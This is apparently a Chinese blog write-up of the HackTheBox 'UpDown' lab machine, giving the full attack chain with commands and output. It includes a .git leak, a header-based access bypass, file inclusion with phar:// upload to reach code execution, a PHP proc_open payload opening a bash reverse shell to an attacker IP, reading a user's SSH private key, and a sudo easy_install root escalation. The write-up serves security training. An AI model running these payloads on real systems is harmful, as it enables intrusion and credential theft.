HTB UpDown 渗透测试详细记录

你是慕鸢呀~ 发布于 1 天前 1 次阅读 2254 字 预计阅读时间: 10 分钟


AI 摘要

# HTB UpDown 渗透测试详细记录 ## 靶机概述 - 目标:HTB平台的UpDown靶机(Linux系统,中等难度) - 主要攻击路径: 1. 通过Web服务发现.git目录泄漏 2. 利用自定义请求头绕过子域名访问限制 3. 结合文件上传和文件包含漏洞实现RCE 4. 利用proc_open函数绕过disable_functions限制 ## 关键发现 1. **信息泄露**: - 发现/dev/.git目录,获取网站源码 - 通过.htaccess文件发现需要Special-Dev: only4dev请求头 2. **漏洞利用**: - 文件包含漏洞(LFI)可加载任意文件 - 文件上传功能结合phar://协议实现反序列化 - proc_open函数未被禁用,可用于绕过安全限制 3. **防御绕过**: - 使用Header Editor修改请求头绕过访问控制 - 通过zip文件绕过上传限制 - 利用phar协议实现反序列化攻击 ## 技术要点 - 使用git-dumper工具提取.git仓库 - 通过wfuzz进行子域名爆破 - 分析phpinfo信息寻找可利用函数 - 利用proc_open实现命令执行

HTB UpDown 渗透测试详细记录

image-20250818020131195

靶机介绍

名字 UpDown
创建日期 03 Sep 2022
操作系统 Linux
难度 Medium [30]

1. 初始侦察阶段

nmap侦查端口开放情况

└─$ nmap -sT --min-rate 20000 -p- 10.10.11.177
Nmap scan report for siteisup.htb (10.10.11.177)
Host is up (0.13s latency).
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 63.95 seconds

2. 服务探测与信息收集

Web 服务 - TCP 80

访问80端口,网站 siteisup.htb 是一个简单的网站状态检查器。

站点功能与技术栈分析

  • 功能:输入一个 URL,网站会检查其是否在线。开启调试模式后,会返回被检查 URL 的响应头和内容。
  • 技术栈:通过请求 index.php 返回相同页面,可以推断网站后端使用 PHP 构建。HTTP 响应头显示服务器为 Apache/2.4.41 (Ubuntu)

目录与子域名爆破

1.使用 feroxbuster 爆破目录,发现 /dev目录

└─$ feroxbuster -u http://siteisup.htb -x php

[>-------------------] - 30s       89/30000   3/s     http://siteisup.htb/dev/ 

访问 http://siteisup.htb/dev/ 是一个空白页,继续爆破

feroxbuster -u http://siteisup.htb/dev/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -t 70 -s 200,301,302,403

发现了 .git 目录

200      GET        0l        0w        0c http://siteisup.htb/dev/
301      GET        9l       28w      315c http://siteisup.htb/dev/.git => http://siteisup.htb/dev/.git/
200      GET        1l        2w       21c http://siteisup.htb/dev/.git/HEAD
200      GET        3l       17w      762c http://siteisup.htb/dev/.git/index
200      GET        1l       10w       73c http://siteisup.htb/dev/.git/description
200      GET       13l       35w      298c http://siteisup.htb/dev/.git/config

2.使用 wfuzz 进行子域名爆破,过滤掉与主站响应长度相同的默认响应(1131 字符),发现了子域名 dev

wfuzz -u http://10.10.11.177 -H "Host:FUZZ.siteisup.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt  --hh 1131               

000000019:   403        9 L      28 W       281 Ch      "dev"                             

4.添加host

10.10.11.177 dev.siteisup.htb

但是访问 dev.siteisup.htb 返回403

5.使用 git -dumper 拉取泄漏的存储库

pipx install git-dumper
git-dumper http://siteisup.htb/dev/.git/ /home/kali/oscp/Updown/
└─$ ls -al                                                                                                                                          
总计 40
drwxrwxr-x 3 kali kali 4096  8月17日 23:06 .
drwxrwxr-x 4 kali kali 4096  8月17日 23:05 ..
-rw-rw-r-- 1 kali kali   59  8月17日 23:06 admin.php
-rw-rw-r-- 1 kali kali  147  8月17日 23:06 changelog.txt
-rw-rw-r-- 1 kali kali 3145  8月17日 23:06 checker.php
drwxrwxr-x 7 kali kali 4096  8月17日 23:06 .git
-rw-rw-r-- 1 kali kali  117  8月17日 23:06 .htaccess
-rw-rw-r-- 1 kali kali  273  8月17日 23:06 index.php
-rw-rw-r-- 1 kali kali 5531  8月17日 23:06 stylesheet.css

查看.htaccess 文件,发现了 规则,

└─$ cat .htaccess                                                                                                                                   
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

这个.htaccess 文件实现了一个简单的、基于自定义请求头的访问控制。它是一个典型的白名单机制:默认全部拒绝 (Deny from All),然后为满足特定条件的请求包开一个口子 (Allow from env=...)。要通过验证,请求包必须携带特征 ——Special-Dev: only4dev。

3. 漏洞识别与初始访问

使用 Header Editor 这个浏览器扩展,修改请求头

image-20250817234337507

成功打开了 http://dev.siteisup.htb/ 这是一个上传点,很明显这就是之前下载下来的 checker.php,开始分析源码。

image-20250817234451931

1.先分析 index.php


<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
    define("DIRECTACCESS",false);
    $page=$_GET['page'];
    if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
        include($_GET['page'] . ".php");
    }else{
        include("checker.php");
    }   
?>

这段代码的功能是一个简单的页面加载器。它希望根据 URL 中 page 参数的值,来包含并显示不同的 PHP 页面。例如,当用户访问 ?page=about 时,它会尝试加载 about.php

核心检查代码 if($page && !preg_match("/bin|usr|home|var|etc/i",$page))

这是一个黑名单过滤,也就说,任何不在 这四个目录的文件都可以被加载,这是一个文件包含漏洞。

这里可以尝试零零截断读文件,但是失败了

2.再分析 cheaker.php

if($_POST['check']){

    # File size must be less than 10kb.
    if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
    $file = $_FILES['file']['name'];

    # Check if extension is allowed.
    $ext = getExtension($file);
    if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
        die("Extension not allowed!");
    }

    # Create directory to upload our file.
    $dir = "uploads/".md5(time())."/";
    if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }

  # Upload the file.
    $final_path = $dir.$file;
    move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

  # Read the uploaded file.
    $websites = explode("\n",file_get_contents($final_path));

先是检查文件大小,不允许超过10kb,然后限制了一些黑名单,但是作用不大,因为我们有文件包含漏洞,可以无视后缀直接读取。

最后把文件写入到uploads/目录。

先创建一个 a.php

<?php phpinfo(); ?>

压缩一下

zip a.abc a.php

上传之后,可以在 http://dev.siteisup.htb/uploads/目录找到刚刚上传的文件

再利用 phar:// 协议去反序列化这个文件,就可以造成代码执行

确定随机目录之后,拼接访问 http://dev.siteisup.htb/?page=phar://uploads/b1408eab8d8433ae2de6041469d84efa/a.abc/a

  1. /?page=...: 文件包含漏洞。
  2. phar://: 使用 PHAR 反序列化。
  3. uploads/b1408eab8d8433ae2de6041469d84efa: 这是文件上传后,服务器创建的那个随机目录。
  4. a.abc: 这是我上传的、包含恶意序列化对象的 PHAR 文件。
  5. /a: 这是 PHAR 归档内部的一个文件名。phar:// 协议要求指定归档内的具体文件路径,即使它不存在或不重要,语法上也需要有。

image-20250818004209186

分析 phpinfo ,发现禁用了如下函数

disable_functions   pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen

直接把这个页面保存为phpinfo.php

使用以下脚本进行分析

仓库地址

https://github.com/muyuanlove/dfunc-bypasser

#!/usr/bin/env python3
import argparse
import requests

# --- 参数解析 ---
parser = argparse.ArgumentParser(description="A script to analyze phpinfo output for dangerous function configurations.")
parser.add_argument("--url", help="PHPinfo URL: eg. https://example.com/phpinfo.php")
parser.add_argument("--file", help="PHPinfo local file path: eg. dir/phpinfo")

args = parser.parse_args()

# --- 终端颜色定义 ---
class colors:
    reset = '3[0m'
    red = '3[31m'
    green = '3[32m'
    orange = '3[33m'
    blue = '3[34m'

# --- 打印横幅 ---
print(f"""{colors.green}

                                ,---,     
                                  .'  .' `\\   
                                  ,---.'     \\  
                                  |   |  .`\\  | 
                                  :   : |  '  | 
                                  |   ' '  ;  : 
                                  '   | ;  .  | 
                                  |   | :  |  ' 
                                  '   : | /  ;  
                                  |   | '` ,/   
                                  ;   :  .'     
                                  |   ,.'       
                                  '---'         

{colors.reset}
\t\t\t{colors.blue}authors: {colors.orange}__c3rb3ru5__{colors.blue}, {colors.orange}$_SpyD3r_${colors.reset}
""")

# --- 获取 phpinfo 内容 ---
phpinfo_content = ""
if args.url:
    try:
        response = requests.get(args.url, timeout=10)
        response.raise_for_status()  # 如果请求失败 (如 404, 500),则抛出异常
        phpinfo_content = response.text
    except requests.exceptions.RequestException as e:
        print(f"{colors.red}[!] Error fetching URL: {e}{colors.reset}")
        exit(1)
elif args.file:
    try:
        # 使用 'with' 语句确保文件被正确关闭
        with open(args.file, 'r', encoding='utf-8', errors='ignore') as f:
            phpinfo_content = f.read()
    except FileNotFoundError:
        print(f"{colors.red}[!] File not found: {args.file}{colors.reset}")
        exit(1)
else:
    parser.print_help()
    exit(1)

# --- 分析 disable_functions ---
disabled_functions = []
try:
    # 提取被禁用的函数列表
    # strip() 用于移除可能存在的前后空格
    raw_disabled_str = phpinfo_content.split('disable_functions</td>
<td class="v">')[1].split("</td>")[0]
    if raw_disabled_str and raw_disabled_str.strip() != 'no value':
         disabled_functions = [func.strip() for func in raw_disabled_str.split(',')]
except IndexError:
    print(f"{colors.orange}[!] 'disable_functions' directive not found. Assuming it's empty.{colors.reset}")
    # 如果找不到,就认为禁用列表为空

# --- 定义危险函数和模块 ---
dangerous_functions = [
    'pcntl_alarm','pcntl_fork','pcntl_waitpid','pcntl_wait','pcntl_wifexited','pcntl_wifstopped',
    'pcntl_wifsignaled','pcntl_wifcontinued','pcntl_wexitstatus','pcntl_wtermsig','pcntl_wstopsig',
    'pcntl_signal','pcntl_signal_get_handler','pcntl_signal_dispatch','pcntl_get_last_error',
    'pcntl_strerror','pcntl_sigprocmask','pcntl_sigwaitinfo','pcntl_sigtimedwait','pcntl_exec',
    'pcntl_getpriority','pcntl_setpriority','pcntl_async_signals','error_log','system','exec',
    'shell_exec','popen','proc_open','passthru','link','symlink','syslog','ld','mail'
]

modules = []
# 根据已加载的模块动态添加相关的危险函数
if "mbstring.ini" in phpinfo_content:
    modules.append('mbstring')
    dangerous_functions.append('mb_send_mail')

if "imap.ini" in phpinfo_content:
    modules.append('imap')
    dangerous_functions.extend(['imap_open', 'imap_mail'])

if "libvirt-php.ini" in phpinfo_content:
    modules.append('libvert')
    dangerous_functions.append('libvirt_connect')

if "gnupg.ini" in phpinfo_content:
    modules.append('gnupg')
    dangerous_functions.append('gnupg_init')

if "imagick.ini" in phpinfo_content:
    modules.append('imagick')

# --- 找出未被禁用的危险函数 ---
exploitable_functions = []
for func in dangerous_functions:
    if func not in disabled_functions:
        exploitable_functions.append(func)

# --- 输出结果 ---
if not exploitable_functions:
    print(f'\n{colors.green}[+] The disable_functions directive seems strong. No common dangerous functions are enabled.{colors.reset}')
else:
    print(f'\n{colors.red}[!] The following potentially dangerous functions are NOT disabled:{colors.reset}')
    print(','.join(exploitable_functions))
    print(f'\n{colors.orange}Recommendation: Add these functions to your php.ini disable_functions directive.{colors.reset}')

if "imagick" in modules:
    print(f'\n{colors.orange}[INFO] PHP-imagick module is present. It can be exploited using LD_PRELOAD method if other vulnerabilities exist.{colors.reset}\n')

if "PHP-FPM" in phpinfo_content:
    print(f"{colors.orange}[INFO] If PHP-FPM is used, functions like stream_socket_sendto, stream_socket_client, and fsockopen can be used to exploit SSRF to FastCGI.{colors.reset}\n")
└─$ python3 phpinfo.py --file phpinfo.html                                                 

[!] The following potentially dangerous functions are NOT disabled:
proc_open

Recommendation: Add these functions to your php.ini disable_functions directive.

确认存在一个危险函数 proc_open ,尝试利用这个函数

参考 https://www.php.net/manual/en/function.proc-open.php

构造 恶意载荷

└─$ cat b.php 
<?php
$descriptorspec = array(
  0 => array('pipe', 'r'), // stdin
  1 => array('pipe', 'w'), // stdout
  2 => array('pipe', 'a') // stderr
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.23/9999 0>&1'";
$process = proc_open($cmd, $descriptorspec, $pipes, null, null);
?>

压缩为b.abc

zip b.abc b.php

建立监听

nc -lnvp 9999

确认http://dev.siteisup.htb/uploads/目录的随机目录之后,构造URL并访问

http://dev.siteisup.htb/?page=phar://uploads/97128df9edbe99bdf9cbdb32787a9094/b.abc/b

getshell

listening on [any] 9999 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.11.177] 57956
bash: cannot set terminal process group (926): Inappropriate ioctl for device
bash: no job control in this shell
www-data@updown:/var/www/dev$ 

升级shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

4. 权限提升前的信息收集

在用户的目录发现一个可用于提权的脚本

www-data@updown:/home/developer/dev$ cat siteisup_test.py
cat siteisup_test.py
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"

这个脚本使用了过时的输入函数 input。在 Python 2 中,input() 函数不会将用户的输入作为简单的字符串。相反,它会尝试将输入作为一段 Python 代码来执行,这是一个本地rce漏洞。

执行之后,输入提权代码

ww-data@updown:/home/developer/dev$ ./siteisup
./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('/bin/bash')
__import__('os').system('/bin/bash')
developer@updown:/home/developer/dev$ 

升级到developer 之后还是无法读取user.txt

developer@updown:/home/developer/dev$ whoami
whoami
developer
developer@updown:/home/developer/dev$ cd ..
cd ..
developer@updown:/home/developer$ ls
ls
dev  user.txt
developer@updown:/home/developer$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
developer@updown:/home/developer$ ls -al
ls -al
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30  2022 .
drwxr-xr-x 3 root      root      4096 Jun 22  2022 ..
lrwxrwxrwx 1 root      root         9 Jul 27  2022 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer  231 Jun 22  2022 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25  2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30  2022 .cache
drwxrwxr-x 3 developer developer 4096 Aug  1  2022 .local
-rw-r--r-- 1 developer developer  807 Feb 25  2020 .profile
drwx------ 2 developer developer 4096 Aug  2  2022 .ssh
drwxr-x--- 2 developer www-data  4096 Jun 22  2022 dev
-rw-r----- 1 root      developer   33 Aug 17 09:07 user.txt

这是因为标志所有者是 root,组所有者是“developer”,但我仍然在 www-data 组中,但是发现存在 .ssh目录,或许可以通过密钥登录

developer@updown:/home/developer$ cd .ssh
cd .ssh
developer@updown:/home/developer/.ssh$ ls
ls
authorized_keys  id_rsa  id_rsa.pub
developer@updown:/home/developer/.ssh$ cat id_rsa

把私钥保存到本地,设置权限为600,登录

chmod 600 id_rsa
ssh developer@siteisup.htb -i id_rsa
developer@updown:~$ whoami
developer
developer@updown:~$ cat user.txt 
4de3c198b040bb2a37061af22751abd6

5. 权限提升

执行 sudo -l 查看可以执行哪些命令

developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install

我可以以sudo权限执行 /usr/local/bin/easy_install

提权方案参考 https://gtfobins.github.io/gtfobins/easy_install/

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
easy_install $TF

提权命令执行过程

developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.OBBCKOqT0t
Writing /tmp/tmp.OBBCKOqT0t/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.OBBCKOqT0t/egg-dist-tmp-pblzYP
# whoami
root
# cat /root/root.txt    
176784f0092478cceb70416a009dc84a

6.攻击链路图展示

初始侦察 (Nmap扫描/目录爆破/子域名爆破)
    ↓
Web服务分析 (.git目录泄漏/代码审计/自定义请求头伪造)
    ↓
Web服务漏洞利用(上传黑名单绕过+文件包含+PHAR 反序列化构造RCE利用链)
    ↓
phpinfo配置文件分析(利用proc_open函数构造恶意载荷)
    ↓
建立立足点,获取www-data权限 (建立监听/反弹shell)
    ↓
利用python2漏洞提权(input函数漏洞实现本地rce)
    ↓
ssh登录developer用户(利用ssh 私钥)
    ↓
提权至root(easy_install提权)

8.各阶段关键点总结

  1. 信息收集阶段:通过 Nmap 扫描识别服务,目录爆破、子域名爆破扩大攻击面
  2. 初始访问阶段:组合低危漏洞实现rce代码执行。
  3. 权限提升阶段:利用本地脚本漏洞、私钥登录、easy_install提权。
我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-08-18